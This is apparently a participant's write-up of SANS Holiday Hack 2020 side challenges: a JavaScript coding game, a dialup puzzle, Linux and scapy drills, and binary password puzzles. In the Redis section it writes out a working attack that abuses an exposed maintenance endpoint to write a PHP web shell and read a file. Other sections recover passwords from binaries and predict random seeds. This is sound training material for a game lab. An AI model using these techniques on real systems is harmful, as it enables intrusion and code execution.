.................,xxkxdxkkxxdddddddxkkxdxl....'.....
.................'xOkooddxkkxxdddxxkkxxxxx'.......'.
..................oOkddxkkkkdxxdddxxxxxxdd:......'.'
.................';k0xxkxxOxdddddoodxdxkkx:....'''''
................'',o0xdddxkxdxdodddddkkkxxc....'''''
................',,:OK0kkOOxddddxxxddxxkxd:'''''''''
.............',;:cccdKXKOkkOOxkxdxxxxxxkOx;'''''''''
...........:oxdddxkkxOXXOxxkxxkkkkkkkxxdxx,,''''''''
.......''':c:,..'coodOO00OOOO00kxOkK0KkO0d,,''''''''
...;cllc::clddooddOkxoccccccloddxxO0KK0KKOc:;,''''''
'ldolcc:::lldxkOxkO000OOOOkkxxdddxoooooooooodxxxddol
xxlcc:::::xolldddxOOdddxxxkkOOO0000000xkOkkxddoooooo
lo:::cccc::ldoodooxd,;lxxkkO0OOOOOOOOOOOOOO000000000
locclccccccccldkxdkk:,;cdxkOKXXXKKKKKXXKk::::cllodxk
xxollllcccllcodkOkO0:,,,:dkOOKKXXXKKKXXKl,,'''''''''
xxkolllllllllodkO0KO;,,,;;lxO00KKXKKKKK0c;,,,,,,,,,,
,dxxxdoooollodxk0KOolc:::::cdO00KK00K000c;,,,,,,,,,;
..:xkOOkdoxxkOO0OxoooooolooodxOO00Ok0kk0oc:;;;;;;;;;
....:dkOddOO0OkdoolllllloooddxOOOOOkkkkOdllccccccccc
You found her! Thank you!!!

Elf Code Challenge

The game that lead the elf to the goal by coding javascript.

Level 1

elf.moveLeft(6);
elf.moveUp(10);

Level 2

elf.moveLeft(6);
elf.pull_lever(elf.get_lever(0) + 2);
elf.moveLeft(4);
elf.moveUp(10);

Level 3

for (let i = 0; i < 3; i++) {
  elf.moveTo(lollipop[i])
}
elf.moveUp(1);

Level 4

Command is less than 6, and lines are less than 7. It was the most difficult for me, because I couldn't understand the mean of Hint for a while. When there is a wall and if code says go ahead more, elf don't go forward more. And it's not fault.
So it doesn't matter if I write an extra command, I can loop through the same code.

for (let i = 0; i < 3; i++) {
  elf.moveLeft(3);
  elf.moveUp(11);
  elf.moveLeft(2);
  elf.moveDown(11);
}

Level 5

elf.moveUp(8);
elf.moveTo(munchkin[0])
var value = elf.ask_munch(0)
var answer = value.filter(elem => typeof elem === 'number')
elf.tell_munch(answer)
elf.moveUp(2);

Level 6

I chose that pull the lever and fall the munchkin into the hole.

for (let i = 0; i < 4; i++) {
  elf.moveTo(lollipop[i]);
}
elf.moveTo(lever[0]);
var value = elf.get_lever(0);
value.unshift("munchkins rule");
elf.pull_lever(value);
elf.moveDown(3);
elf.moveLeft(6);
elf.moveUp(2);

Level 7

function myfunc(arrys) {
  var mysum = 0;
  for (let i = 0; i < arrys.length; i++) {
    for (let j = 0; j < (arrys[j]).length; j++) {
      mysum += (typeof arrys[i][j] === 'number') ? arrys[i][j] : 0;
    }
  }
  return mysum;
}
for (let i = 0; i < 8; i++) {
  if (i % 4 == 0) {
    elf.moveDown(i + 1);
  } else if (i % 4 == 1) {
    elf.moveLeft(i + 1);
  } else if (i % 4 == 2) {
    elf.moveUp(i + 1);
  } else if (i % 4 == 3) {
    elf.moveRight(i + 1);
  }
  elf.pull_lever(i);
}
elf.moveUp(2);
elf.moveLeft(4);
elf.tell_munch(myfunc);
elf.moveUp(1);

Level 8

function myfunc(json_data) {
  for (let i = 0; i < json_data.length; i++) {
    var keys = Object.keys(json_data[i])
    for (let j = 0; j < keys.length; j++) {
      if (json_data[i][keys[j]] === 'lollipop') {
        return keys[j];
      }
    }
  }
}
var total = 0;
for (let i = 0; i < 6; i++) {
    if (i%2 == 0) {
        elf.moveRight(2*i+1);
    } else {
        elf.moveLeft(2*i+1);
    }
    total += elf.get_lever(i);
    elf.pull_lever(total);
    elf.moveUp(2);
}
elf.tell_munch(myfunc);
elf.moveRight(11);

This coding game was fun! I'll recommend it others.

33.6kbps

Because I almost muted the sound during the HolidayHack, this challenge was the final one for me.

I heard the ogg file several time, which Fitzy gave me. I found that this sound is modem dialup sound, and he forgot the handshake protocol.
There's a note with odd words. I didn't realize that by pushing the words, they sounds. When I realized this, it became clear what should I do. Dial to 756-8347 first, and start to imitate handshake noise with this odd word sound.

It's difficult to uncover corresponding words and sound of handshake by myself. So I did little bit cheat. I check the source code of dialup
dialup.kringlecastle.com/ > dialup.kringlecatsle.com > ?challenge

f:id:kusuwada:20210110062907p:plain

with Chrome developer tool, and found dialup.js stats the order and rough timing like below.

...
btnrespCrEsCl.addEventListener('click', () => {
  if (phase === 3) {
    phase = 4;
    playPhase();
    secret += '3j2jc'
  } else {
    phase = 0;
    playPhase();
  }
  sfx.resp_cr_es_cl.play();
});
ack.addEventListener('click', () => {
  if (phase === 4) {
    phase = 5;
    playPhase();
    secret += '329dz'
  } else {
    phase = 0;
    playPhase();
  }
  sfx.ack.play();
});
...

The table of word to variable such as aaah to ack is stated in the html source. So, I got the order and timing of which word to push. Then, I tried to Dial up to 756-8347, and push the word in order as below.

  1. baa DEE brrrr
  2. aaah
  3. WEWEWEwrwrrwrr
  4. beDURRdunditty
  5. *SCHHHRRHHRTHRTR*

It took several tries to push correct timing. So I think my cheat was necessary for me.

Redis Bug Hunt

I tried curl command as the terminal says, and found that cmd= query is needed. And, also found that cmd query can execute redis command.

$ curl http://localhost/maintenance.php?cmd=help
Running: redis-cli --raw -a '<password censored>' 'help'
redis-cli 5.0.3
To get help about Redis commands type:
      "help @<group>" to get a list of commands in <group>
      "help <command>" for help on <command>
      "help <tab>" to get a list of possible help topics
      "quit" to exit
To set redis-cli preferences:
      ":set hints" enable online hints
      ":set nohints" disable online hints
Set your preferences in ~/.redisclirc
$ curl http://localhost/maintenance.php?cmd=mget,example1
Running: redis-cli --raw -a '<password censored>' 'mget' 'example1'
The site is in maintenance mode
$ curl http://localhost/maintenance.php?cmd=mget,example2
Running: redis-cli --raw -a '<password censored>' 'mget' 'example2'
We think there's a bug in index.php

The goal of this challenge is get index.php. I checked the DB, and found there are only 2 keys.

$ curl http://localhost/maintenance.php?cmd=keys,*     
Running: redis-cli --raw -a '<password censored>' 'keys' '*'
example1
example2

I read another hint, and understood I should do this Redis RCE.

First, I tried to curl and get the index.php.

$ curl http://localhost/index.php      
Something is wrong with this page! Please use http://localhost/maintenance.php to see if you can figure out what's going onplaye

Currently, I can't access the index.php.

I guess the document root is /var/www/html. Then,

  1. Set the directory to /var/www/html
  2. Cerate the new file redis.php with php code that outputs the index.php source code to out.txt file
  3. Access to redis.php and execute the php command
  4. Access to out.txt
$ curl http://localhost/maintenance.php?cmd=config,set,dir,/var/www/html/
$ curl http://localhost/maintenance.php?cmd=config,set,dbfilename,redis.php
$ curl http://localhost/maintenance.php?cmd=set,test,"<?php+exec('cat+index.php+>+out.txt');+?>"
$ curl http://localhost/maintenance.php?cmd=save
$ curl http://localhost/redis.php
$ curl http://localhost/out.txt --output output
$ cat output
<?php
# We found the bug!!
#
#         \   /
#         .\-/.
#     /\ ()   ()
#       \/~---~\.-~^-.
# .-~^-./   |   \---.
#      {    |    }   \
#    .-~\   |   /~-.
#   /    \  A  /    \
#         \/ \/
#
echo "Something is wrong with this page! Please use http://localhost/maintenance.php to see
if you can figure out what's going on"
?>

Linux Primer

It seems to practice Linux commands challenge.

Type "yes" to begin: yes

Perform a directory listing of your home directory to find a munchkin and retrieve a lollipop!

$ ls
HELP  munchkin_19315479765589239  workshop

Now find the munchkin inside the munchkin.

$ cat munchkin_19315479765589239
munchkin_24187022596776786

Great, now remove the munchkin in your home directory.

$ rm munchkin_19315479765589239

Print the present working directory using a command.

$ pwd
/home/elf

Good job but it looks like another munchkin hid itself in you home directory. Find the hidden munchkin!

$ ls -a
.  ..  .bash_history  .bash_logout  .bashrc  .munchkin_5074624024543078  .profile  HELP  workshop

Excellent, now find the munchkin in your command history.

$ history
    1  echo munchkin_9394554126440791
    2  ls
    3  cat munchkin_19315479765589239
    4  rm munchkin_19315479765589239
    5  pwd
    6  ls -a
    7  history

Find the munchkin in your environment variables.

$ export

Next, head into the workshop.

$ cd workshop/

A munchkin is hiding in one of the workshop toolboxes. Use "grep" while ignoring case to find which toolbox the munchkin is in.

$ grep -ri munchkin
toolbox_191.txt:mUnChKin.4056180441832623

A munchkin is blocking the lollipop_engine from starting. Run the lollipop_engine binary to retrieve this munchkin.

I couldn't understand the mean of this question, so I got hint.

$ hintme

The target executable file is at /opt/lollipop_engine, but I have no permission to change mode or execute on this directory. So I copied the file to my home directory, and changed mode.

$ cd /opt
$ cp lollipop_engine ~
$ cd ~
$ chmod 755 lollipop_engine
$ ./lollipop_engine
munchkin.898906189498077

Munchkins have blown the fuses in /home/elf/workshop/electrical. cd into electrical and rename blown_fuse0 to fuse0.

$ cd /home/elf/workshop/electrical/
$ ls
blown_fuse0
$ mv blown_fuse0 fuse0

Now, make a symbolic link (symlink) named fuse1 that points to fuse0

$ ln -s ./fuse0 ./fuse1

Make a copy of fuse1 named fuse2.

$ cp fuse1 fuse2

We need to make sure munchkins don't come back. Add the characters "MUNCHKIN_REPELLENT" into the file fuse2.

$ vi fuse2

And insert MUNCHKIN_REPELLENT, press esc key, :wq.

Find the munchkin somewhere in /opt/munchkin_den.

$ cd /opt/munchkin_den/
$ find munchkin .

Find the file somewhere in /opt/munchkin_den that is owned by the user munchkin.

$ find * -user munchkin

Find the file created by munchkins that is greater than 108 kilobytes and less than 110 kilobytes located somewhere in /opt/munchkin_den.

$ find * -size -110k -size +108k
plugins/portlet-mocks/src/test/java/org/apache/m_u_n_c_h_k_i_n_2579728047101724

List running processes to find another munchkin.

$ ps -aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
init         1  0.0  0.0  65320 21156 pts/0    Ss+  00:47   0:00 /usr/bin/python3 /usr/local/bin/tmuxp load ./mysession.yaml
elf      50037  0.3  0.0  84316 26236 pts/2    S+   01:18   0:00 /usr/bin/python3 /14516_munchkin
elf      51952  0.0  0.0  36180  3336 pts/3    R+   01:19   0:00 ps -aux

The 14516_munchkin process is listening on a tcp port. Use a command to have the only listening port display to the screen.

$ netstat -antu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:54321           0.0.0.0:*               LISTEN

The service listening on port 54321 is an HTTP server. Interact with this server to retrieve the last munchkin.

$ curl http://0.0.0.0:54321
munchkin.73180338045875

Your final task is to stop the 14516_munchkin process to collect the remaining lollipops.

$ ps -aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
init         1  0.0  0.0  65320 21156 pts/0    Ss+  00:47   0:00 /usr/bin/python3 /usr/local/bin/tmuxp load ./mysession.yaml
elf       3485  0.0  0.0  36180  3360 pts/3    R+   01:29   0:00 ps -aux
elf      50037  0.0  0.0 160448 26892 pts/2    S+   01:18   0:00 /usr/bin/python3 /14516_munchkin
$ kill 50037

Clear!

Speaker UNPrep (door)

The mission is, find the password of door. As the terminal says, it doesn't need low-level reverse engineering, so I try the easiest way to find something from binary.

$ strings door | grep password
/home/elf/doorYou look at the screen. It wants a password. You roll your eyes - the
password is probably stored right in the binary. There's gotta be a
Be sure to finish the challenge in prod: And don't forget, the password is "Op3nTheD00r"
Beep boop invalid password

I got it! Then, execute door binary with password.

$ ./door
You look at the screen. It wants a password. You roll your eyes - the
password is probably stored right in the binary. There's gotta be a
tool for this...
What do you enter? > Op3nTheD00r
Checking......
Door opened!

Speaker UNPrep (lights)

Next is turn on the lights. The related files are lights and lights.conf. lights seems to read the config file, which stats password(hashed?) and name as below.

$ strings lights.conf
password: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124
name: elf-technician

I searched the hash arghorithm, but I couldn't found. Then, there is another directory lab, and in this directory, we can edit the files. So I tried to edit the config file and execute the light, and observed the changes in the output.

when I set the password of the config empty, the empty password is accepted. But this way can't be adopt to original directory. So I have to get the true password.

I stucked there, and re-read Bushy's talk.

What if we set the user name to an encrypted value?

That was a great hint for me. This suggests the possibility that the encrypted value not only password but also name is decrypted when the config file is read. So, I set the same value as password to the name.

$ cat lights.conf
password: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124
name: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124
$ ./lights
The speaker unpreparedness room sure is dark, you're thinking (assuming
you've opened the door; otherwise, you wonder how dark it actually is)
You wonder how to turn the lights on? If only you had some kind of hin---
 >>> CONFIGURATION FILE LOADED, SELECT FIELDS DECRYPTED: /home/elf/lab/lights.conf
---t to help figure out the password... I guess you'll just have to make do!
The terminal just blinks: Welcome back, Computer-TurnLightsOn

I got the password Computer-TurnLightsOn! Then, the password is same as original directory, so I executed the original lights file with this password.

Speaker UNPrep (vending-machines)

Last is fix the venting-machine. The related files are vending_machines and vending_machines.json. The json file is

{
  "name": "elf-maintenance",
  "password": "LVEdQPpBwr"
}

Executing vending_machines with this password didn't work. This password also encrypted, I guess. According to Bushy's advice, this can be some kind of substitution cipher.
Like previous lights challenge, I edited the /lab directory's json file and check the outputs. If the password config is empty, the exec password is also empty. So I can try the password by one string by one.
And more, it's a hard work by manual, I created the script.

#!/usr/bin/env python2
import json
import os
from subprocess import Popen, PIPE

rotated = 'LVEdQPpBwr'

with open('vending-machines.json', 'r') as f:
    conf = json.load(f)

password = ''
for i in range(len(rotated)):
    conf['name'] = rotated[:i+1]
    conf['password'] = rotated[:i+1]
    with open('vending-machines.json', 'w') as f:
        json.dump(conf, f, indent=4)
    for i in range(0x30,0x7d):
        print password + chr(i)
        p = Popen("./vending-machines", stdin = PIPE, stdout = PIPE)
        p.stdin.write(password + chr(i) + "\n")
        ans = p.stdout.read()
        if 'That would have enabled the vending machines!' in ans:
            print chr(i)
            password += chr(i)
            break
        p.stdin.close()
        p.stdout.close()

Since the terminal's python version was 2, so I used 2. I set the script to /home/elf/lab/solve_vend.py, and exec.

$ python test.py
0
...(omitted)...
CandyCand
CandyCane
e
CandyCane0
CandyCane1
1

I got the password CandyCane1, and exec original vending-machines with this password.

$ ./vending-machines
The elves are hungry!
If the door's still closed or the lights are still off, you know because
you can hear them complaining about the turned-off vending machines!
You can probably make some friends if you can get them back on...
Loading configuration from: /home/elf/vending-machines.json
I wonder what would happen if it couldn't find its config file? Maybe that's
something you could figure out in the lab...
Welcome, elf-maintenance! It looks like you want to turn the vending machines back on?
Please enter the vending-machine-back-on code > CandyCane1
Checking......
Vending machines enabled!!

I noticed that I could create the map of plane-cipher strings, later. It would be reduce the calculation time.

Snowball Fight

At first, I have no idea how to play this game. By reading the game-machin's message, I understood that attack to enemy's fort by snow ball, and enemy also attacks my fort. If I destroy every forts before the enemy does, I'll win.

In the easy mode, the enemy missed a lot, so I can usually win the game without any cheat. But in the impossible mode, enemy doesn't miss. Because I'm always attack first, I can win if I can attack without any miss. To win this game, I have to know the enemy's arrange of the forts.

Then, I played this game with several level, and several times. When Easy and Medium mode, I can set my name freely. And when the name is same, the arrange of the fort of both enemy and myself are same even if the challenge level is different.

So, I tried Hard mode with the method below. Because I can't specify but get the name of the player in Hard mode, I open the Hard mode window and get player name. Then, open the another stand alone site, and start Easy mode with same player name. When I won the game, I know the arrange of the enemy's forts. Then, back to the Hard mode game, I could win the game with no miss.

How about Impossible mode? I can't get the player name. Then, I checked the hint. It mentions about Mersenne Twister. I can predict the generated using random function by the prediction algorithm. It had been unnatural that the Player's name is always number, not alphabet in spite of the enemy's name is alphabet. So I guess that we can predict the player name with the Mersenne Twister predictor.

To predict the random number, we have to correct previous 624 number. Then, I re-read the statements of the game-machine.

What's more, on Impossible, we won't even SHOW you your name! In fact, just to make sure things are super random, we'll throw away hundreds of random names before starting!

Before starting game, did I receive the hundreds of names? I check the source code of the Impossible mode.

  <!--
    Seeds attempted:

    1208863108 - Not random enough
    3995481139 - Not random enough
    1369451260 - Not random enough
    4169693605 - Not random enough
    ...(omitted)...
    4266748940 - Not random enough
    2033286299 - Not random enough
    3650400524 - Not random enough
    <Redacted!> - Perfect!
   -->

I had! The numbers are just 624. Then, last one must be the player name.
The things I have to do is, using the predictor which introduced by the hints, and predict the next generated number. I got the previous numbers and save them to predict.txt.

The prediction code is, almost as the sample of this library's sample.

import random
from mt19937predictor import MT19937Predictor

predictor = MT19937Predictor()
with open('predict.txt', 'r') as f:
    for i in range(624):
        x = int(f.readline())
        predictor.setrandbits(x, 32)

print(predictor.getrandbits(32))

result is:

$ python predict.py
21590909

So, I got the Impossible mode's player name. I play Easy mode with this player name on other stand alone site, and got the arrangement of enemy's forts. After that, I back to the Impossible mode and won the game!

f:id:kusuwada:20210110062900p:plain

SORT-O-MATIC

This challenge is about regular expressions.

  1. Matches at least one digit
\d
  1. Matches 3 alpha a-z characters ignoring case
[a-zA-Z]{3}
  1. Matches 2 chars of lowercase a-z or numbers
[0-9a-z]{2}
  1. Matches any 2 chars not uppercase A-L or 1-5
[^A-L1-5]{2}
  1. Matches three or more digits only
^\d{3,}$
  1. Matches multiple hour:minute:second time formats only
^([0-5]\d):([0-5]\d):([0-5]\d)$
  1. Matches MAC address format only while ignoring case
^([0-9a-fA-F]{2}[:]?){5}[0-9a-fA-F]{2}$
  1. Matches multiple day, month, and year date formats only
^(0[1-9]|[12][0-9]|3[01])[\/.-](0[1-9]|1[012])[\/.-](19|20)\d\d$

CAN-Bus Investigation

This challenge seems the preparation for the Objective-7.
We got logfile and executable file. The log file is,

$ cat candump.log
(1608926660.800530) vcan0 244#0000000116
(1608926660.812774) vcan0 244#00000001D3
(1608926660.826327) vcan0 244#00000001A6
...

like that. I googled vcan0 and found this is the robust vehicle bus standard, stands for Controller Area Network. Car hacking!? It's new to me!
I checked several document related to CAN, and understood that like 244, 188 is the command number. I filtered the most appearing two commands, then there left only two commands.

$ cat candump.log | grep -v 244 | grep -v 188
(1608926664.626448) vcan0 19B#000000000000
(1608926671.122520) vcan0 19B#00000F000000
(1608926674.092148) vcan0 19B#000000000000

According to the terminal message, they are LOCK, UNLOCK, and LOCK commands. So, the answer is, 122520.

 ./runtoanswer
There are two LOCK codes and one UNLOCK code in the log.  What is the decimal portion of the UNLOCK timestamp?
(e.g., if the timestamp of the UNLOCK were 1608926672.391456, you would enter 391456.
> 122520
Your answer: 122520
Checking....
Your answer is correct!

Scapy Prepper

This challenge is preparation for the Objective 9. We can learn how to use the "scapy".

Start by running the task.submit() function passing in a string argument of 'start'.

Type task.help() for help on this question.

>>> task.submit('start')

Submit the class object of the scapy module that sends packets at layer 3 of the OSI model.

>>> task.help()
For example, task.submit(sendp) would submit the sendp scapy class used to send packets at l ayer 2 of the OSI model.
Scapy classes can be found at ( https://scapy.readthedocs.io/en/latest/api/scapy.sendrecv.html )

I got the hint and document link of the scapy I search sendp in this page, and found the layer3 command.

>>> task.submit(send)

Submit the class object of the scapy module that sniffs network packets and returns those packets in a list.

>>> task.submit(sniff)

Submit the NUMBER only from the choices below that would successfully send a TCP packet and then return the first sniffed response packet to be stored in a variable named "pkt":

  1. pkt = sr1(IP(dst="127.0.0.1")/TCP(dport=20))
  2. pkt = sniff(IP(dst="127.0.0.1")/TCP(dport=20))
  3. pkt = sendp(IP(dst="127.0.0.1")/TCP(dport=20))
>>> task.submit(1)

Submit the class object of the scapy module that can read pcap or pcapng files and return a list of packets.

>>> task.submit(rdpcap)

The variable UDP_PACKETS contains a list of UDP packets. Submit the NUMBER only from the cho ices below that correctly prints a summary of UDP_PACKETS:

  1. UDP_PACKETS.print()
  2. UDP_PACKETS.show()
  3. UDP_PACKETS.list()
>>> task.submit(2)

Submit only the first packet found in UDP_PACKETS.

I stacked this question, then got the hint.

>>> task.help()
You can specify an item from a list using "list_var_name[num]" where "num" is the item number you want starting at 0.

Then, I constructed the answere.

>>> task.submit(UDP_PACKETS[0])

Submit only the entire TCP layer of the second packet in TCP_PACKETS.

I thought this is only minor change of previous question, but it was not...

>>> task.submit(TCP_PACKETS[1])
Incorrect!
Submit only the entire TCP layer of the second packet in TCP_PACKETS.
If you had a packet stored in a variable named pkt, you could access its IP layer using "pkt [IP]"

Through repeated trial and error, I got the answer.

>>> task.submit(TCP_PACKETS[1][TCP])

Change the source IP address of the first packet found in UDP_PACKETS to 127.0.0.1 and then submit this modified packet

I googled and found that is dst=UDP_PACKETS[0][UDP].dst, but I sent it halfway through, and it accepted.

>>> task.submit(IP(src="127.0.0.1",dst=UDP_PACKETS))

Submit the password "task.submit('elf_password')" of the user alabaster as found in the packet list TCP_PACKETS.

I had no idea, so I got the hint.

>>> task.help()
You can access each packets Raw payload using TCP_PACKETS[0][Raw].load only incrementing 0 each packet. (if that particular packet has a payload)

The RAW message can be shown by TCP_PACKETS[0][Raw].load, if there is exists. I found RAW message from TCP_PACKETS[3].

>>> TCP_PACKETS[3][Raw].load
b'220 North Pole FTP Server\r\n'
ここから配列をincrementした出力結果
b'USER alabaster\r'
b'331 Password required for alabaster.\r'
b'PASS echo\r\n'
b'230 User alabaster logged in.\r'

I got these information. It seems like a command, but it should be the password.

>>> task.submit('PASS echo')

The ICMP_PACKETS variable contains a packet list of several icmp echo-request and icmp echo-reply packets. Submit only the ICMP chksum value from the second packet in the ICMP_PACKETS list.

>>> task.submit(ICMP_PACKETS[1][ICMP].chksum)

Submit the number of the choice below that would correctly create a ICMP echo request packet with a destination IP of 127.0.0.1 stored in the variable named "pkt"

  1. pkt = Ether(src='127.0.0.1')/ICMP(type="echo-request")
  2. pkt = IP(src='127.0.0.1')/ICMP(type="echo-reply")
  3. pkt = IP(dst='127.0.0.1')/ICMP(type="echo-request")
>>> task.submit(3)

Create and then submit a UDP packet with a dport of 5000 and a dst IP of 127.127.127.127. (all other packet attributes can be unspecified)

I googled, and found I can generate like IP(dst=xx,src=xx)/UPD(dport=xxx,sport=xxx).

>>> task.submit(IP(dst="127.127.127.127")/UDP(dport=5000))

Create and then submit a UDP packet with a dport of 53, a dst IP of 127.2.3.4, and is a DNS query with a qname of "elveslove.santa". (all other packet attributes can be unspecified)

>>> task.submit(IP(dst="127.2.3.4")/UDP(dport=53)/DNS(qd=DNSQR(qname="elveslove.santa")))

The variable ARP_PACKETS contains an ARP request and response packets. The ARP response (the second packet) has 3 incorrect fields in the ARP layer. Correct the second packet in ARP_PACKETS to be a proper ARP response and then task.submit(ARP_PACKETS) for inspection.

I checked the ARP_PACKETS. (This is when I realized that I can exec scapy...)

>>> ARP_PACKETS[0]
<Ether  dst=ff:ff:ff:ff:ff:ff src=00:16:ce:6e:8b:24 type=ARP |<ARP  hwtype=0x1 ptype=IPv4 hw
len=6 plen=4 op=who-has hwsrc=00:16:ce:6e:8b:24 psrc=192.168.0.114 hwdst=00:00:00:00:00:00 p
dst=192.168.0.1 |>>
>>> ARP_PACKETS[1]
<Ether  dst=00:16:ce:6e:8b:24 src=00:13:46:0b:22:ba type=ARP |<ARP  hwtype=0x1 ptype=IPv4 hw
len=6 plen=4 op=None hwsrc=ff:ff:ff:ff:ff:ff psrc=192.168.0.1 hwdst=ff:ff:ff:ff:ff:ff pdst=1
92.168.0.114 |<Padding  load='\xc0\xa8\x00r' |>>>

I have two records. And changed the second response as below.

>>> ARP_PACKETS[1].hwsrc="00:13:46:0b:22:ba"
>>> ARP_PACKETS[1].hwdst="00:16:ce:6e:8b:24"
>>> ARP_PACKETS[1].op="is-at"
>>> task.submit(ARP_PACKETS)
Great, you prepared all the present packets!
Congratulations, all pretty present packets properly prepared for processing!

Acknowledgements

Since this is the first time to join this world, I wondered what should I do at first. But thanks to the plenty of kind guides and hints, I can complete my challenges by myself.
It gave me a lot of fun on holidays when we could't go back to our hometown, and also gave me a lot of learning experience. Even as I write this report, I am excited to remember what I experienced in the Challenge.

I give great thank to my kids, who didn't wake up during the night and helped me to try this challenge. I also thank my husband for understanding my participation in this challenge and for sharing the housework and childcare with me.